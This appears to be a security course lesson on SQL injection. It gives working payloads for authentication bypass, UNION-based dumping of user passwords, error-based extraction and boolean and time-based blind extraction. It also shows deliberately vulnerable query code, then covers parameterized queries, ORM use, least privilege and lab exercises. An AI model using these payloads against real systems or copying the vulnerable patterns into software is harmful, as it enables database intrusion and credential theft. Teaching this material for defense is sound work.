SQL Injection & Database Security
Master SQL injection — how it works, classic and blind techniques, UNION attacks, and how to defend with parameterized queries, ORMs, and least privilege.
Learning Objectives
- → Explain how SQL injection works and why it occurs
- → Identify and exploit classic, blind boolean, and time-based SQLi
- → Perform UNION-based data exfiltration
- → Defend with parameterized queries and prepared statements
- → Apply database security hardening: least privilege, WAF, monitoring
What is SQL Injection?
SQL injection occurs when user input is concatenated directly into a SQL query, allowing the attacker to change the query's logic.
# VULNERABLE — direct string concatenation
username = request.GET["username"]
query = "SELECT * FROM users WHERE username = '" + username + "'"
db.execute(query)
# Attacker sends: ' OR '1'='1
# Resulting query: SELECT * FROM users WHERE username = '' OR '1'='1'
# '1'='1' is always true → returns ALL users
Classic SQL Injection
Authentication Bypass
Normal login query:
SELECT * FROM users WHERE username='alice' AND password='secret'
Attack: username = admin'--
Result: SELECT * FROM users WHERE username='admin'--' AND password='...'
↑ comment ends the query here — password check removed!
Dumping Data
-- Attack payload in a search field
' UNION SELECT username, password, email, NULL FROM users--
-- The UNION must have the same number of columns as the original SELECT
-- First, figure out column count with ORDER BY:
' ORDER BY 1-- (no error)
' ORDER BY 2-- (no error)
' ORDER BY 5-- (error! → 4 columns)
UNION-Based Exfiltration
-- Original query (4 columns):
SELECT id, name, description, price FROM products WHERE id=?
-- Attacker injects:
1 UNION SELECT username, password, email, 'x' FROM users--
-- Result mixes product and user data in same response
-- Find column count automatically:
1 ORDER BY 1-- (try until error)
1 ORDER BY 4-- (works → 4 cols)
-- Find string-injectable columns (try NULL first):
1 UNION SELECT NULL,NULL,NULL,NULL--
1 UNION SELECT 'a',NULL,NULL,NULL--
Error-Based Extraction (SQLite)
-- Force SQLite to include data in error messages
-- (not always possible — depends on error display)
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS INTEGER)--
-- Error: "datatype mismatch" includes the username value
Blind SQL Injection
When the app shows no data but behaves differently based on true/false:
Boolean-Based
-- True condition: page loads normally
' AND 1=1--
-- False condition: page is empty or different
' AND 1=2--
-- Extract data one character at a time:
' AND SUBSTR((SELECT password FROM users LIMIT 1), 1, 1) = 'a'--
' AND SUBSTR((SELECT password FROM users LIMIT 1), 1, 1) = 'b'--
...
-- Automate with sqlmap or custom binary search script
-- Extract admin password:
' AND (SELECT COUNT(*) FROM users WHERE role='admin') > 0--
' AND LENGTH((SELECT password FROM users WHERE role='admin')) > 8--
' AND SUBSTR((SELECT password FROM users WHERE role='admin'),1,1)='a'--
Time-Based (Blind)
-- SQLite: no native SLEEP(), but can use heavy computation
-- MySQL: SLEEP(5) delays 5 seconds if condition is true
' AND IF(1=1, SLEEP(5), 0)--
-- SQLite alternative (heavy regex):
' AND (SELECT CASE WHEN (1=1)
THEN RANDOMBLOB(100000000) ELSE 1 END)--
-- Check if admin user exists (delay if true):
' AND (SELECT CASE WHEN (SELECT COUNT(*) FROM users WHERE role='admin')>0
THEN RANDOMBLOB(100000000) ELSE 1 END)--
Defenses
1. Parameterized Queries (Primary Defense)
# Python sqlite3
cursor.execute(
"SELECT * FROM users WHERE username = ? AND password = ?",
(username, password)
)
# Python with psycopg2 (PostgreSQL)
cursor.execute(
"SELECT * FROM users WHERE username = %s AND password = %s",
(username, password)
)
# Never build queries with % or + formatting
# BAD:
cursor.execute("SELECT * FROM users WHERE name = '%s'" % name)
2. ORM (Django)
# SAFE — Django ORM uses parameterized queries internally
user = User.objects.get(username=username)
users = User.objects.filter(role="admin")
# SAFE — .filter() always parameterizes
User.objects.filter(username=username, is_active=True)
# DANGEROUS — raw() with string formatting
User.objects.raw(f"SELECT * FROM users WHERE username='{username}'")
# SAFE — raw() with params
User.objects.raw("SELECT * FROM users WHERE username=%s", [username])
3. Least Privilege
-- Don't connect as root/admin
-- Create read-only user for SELECT-only operations
CREATE USER 'app_reader'@'localhost' IDENTIFIED BY 'pass';
GRANT SELECT ON cyberlearn.* TO 'app_reader'@'localhost';
-- Read-write user can't DROP or CREATE
CREATE USER 'app_writer'@'localhost' IDENTIFIED BY 'pass';
GRANT SELECT, INSERT, UPDATE, DELETE ON cyberlearn.* TO 'app_writer'@'localhost';
-- Never GRANT ALL PRIVILEGES for application accounts
4. Input Validation & WAF
import re
def validate_ip(ip: str) -> bool:
pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
if not re.match(pattern, ip):
return False
return all(0 <= int(octet) <= 255 for octet in ip.split('.'))
# Allow-list validation — reject anything not matching expected format
# WAF (Web Application Firewall) — Cloudflare, ModSecurity
# Blocks common SQLi signatures
5. Error Handling
# NEVER show database errors to users
try:
result = db.execute(query, params)
except Exception:
logger.exception("Database error")
return {"error": "An internal error occurred"}, 500
# Detailed error → gives attacker schema info
Security Hardening Checklist
☑ Parameterized queries everywhere (no string concatenation)
☑ ORM for all standard queries, raw() only with params
☑ Least-privilege DB user (no root, no DDL)
☑ Errors logged server-side, generic message to client
☑ No sensitive data in error messages
☑ Input validation (whitelist, not blacklist)
☑ WAF in front of the application
☑ DB on private network (not internet-facing)
☑ Credentials in environment variables, not source code
☑ Audit log enabled
☑ Regular backups tested for restore
☑ Monitor for anomalous query patterns
Set up a vulnerable login page (Flask + SQLite) that uses string concatenation. Test: (1) ' OR '1'='1 to dump all users, (2) admin'-- to bypass password check, (3) ' UNION SELECT username,password,email,NULL FROM users-- to exfiltrate. Screenshot each result.
What SQL comment syntax terminates the rest of a SQLite query?
Why must UNION columns match the original query?
Given an endpoint that returns 'found'/'not found' based on a query — write a Python script that uses boolean blind injection to extract the admin user's password one character at a time. Use SUBSTR() and binary search to minimize requests.
How does boolean blind injection extract data without seeing query results?
Audit a provided vulnerable Flask app (5 SQL injection points). For each one: (1) demonstrate the injection, (2) replace with parameterized query or ORM call, (3) verify the exploit no longer works.
What is the primary defense against SQL injection?